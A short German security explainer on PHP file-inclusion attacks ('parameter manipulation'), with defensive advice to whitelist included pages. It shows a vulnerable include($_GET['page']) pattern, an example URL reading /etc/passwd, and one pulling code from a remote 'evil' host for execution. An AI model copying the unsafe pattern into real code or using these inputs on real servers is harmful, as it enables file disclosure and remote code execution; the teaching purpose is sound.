Parametermanipulation

  • Eine sehr beliebte, wenn auch recht simple und alte Angriffsmethode ist sogenannte "Parameter-Manipulation", die oft auch unter dem Oberbegriff XSS eingeordnet wird. Zu einiger Bekanntheit gelangten Parameter-Manipulationen durch die Website eines Fernsehmoderators und Internet-Experten, dessen Kundendaten über eine solche Attacke frei zugänglich waren.

    Grundlage für Parametermanipulationen ist die unreflektierte Benutzung von PHP's include() oder require() Konstrukten. Oft werden mithilfe dieser Sprachkonstrukte Inhalte aus Dateien im Dateisystem nachgeladen, um für verschiedene Bereiche einer Webanwendung verschiedenen Content bereitzustellen - jedoch meist eine Prüfung der per URL-Parameter übergebenen Seitennamen vergessen. Dies ist für praktisch jeden von der Webanwendung benutzten Parameter - ganz gleich ob GET/POST oder Header - möglich.

    Ein typisches Beispiel für unsichere Includes lautet <?php include($_GET[page']) ?> - die dazugehörige URL hieße dann etwa http://www.test.de/?page=impressum.php für das Impressum der verwundbaren Site.

    Hier findet keinerlei Überprüfung des Inhaltes von $_GET[page'] statt, so daß ein Angreifer jede Datei auf dem Server abrufen kann. Mit einer URL wie http://www.test.de/?page=/etc/passwd kann so die Unix-passwd-Datei gelesen werden - mit http://www.test.de/?page=http://andererserver.de/boese.txt wird sogar (bei aktivierten URL-Wrappern, die praktisch jede PHP-Installation hat) eine Datei von einem fremden Server geholt und von PHP geparsed. Das ist die eigentliche Gefahr bei Parametermanipulationen: da include() PHP-Code nicht anzeigt, sondern parsed, kann mit einer Textdatei beliebiger Code auf dem Zielserver ausgeführt werden. Angreifer - in letzter Zeit vor allem südamerikanischer Herkunft - haben diesen Umstand genutzt, um im großen Stil mit einem "PHP-Rootkit" verwundbare Server anzugreifen, die sie zuvor mit Google ermittelt hatten.

    Es ist also von höchster Wichtigkeit, Benutzereingaben aller Art sorgfältigst zu überprüfen, bevor sie an include() oder require() weitergereicht werden. Es reicht hierbei nicht, auf das Vorhandensein von Slashes, Punkten oder anderer verdächtiger Zeichen zu prüfen. In der Regel sollten Includes stets ausschließlich in einer Whitelist enthalten sein, bevor sie tatsächlich inkludiert werden. Das läßt sich leicht durch ein Array mit allen momentan in der Site integrierten Seiten bewerkstelligen - oder, indem der Entwickler alle Seiten in einer Datenbank ablegt. Wird eine ID für jede Seite vergeben, so kann in Zukunft anhand dieser referenziert und eine Parametermanipulation ausgeschlossen werden. Allerdings besteht dann unter Umständen die Möglichkeit einer SQL Injection in der Datenbankabfrage, die dem include()-Call vorausgeht.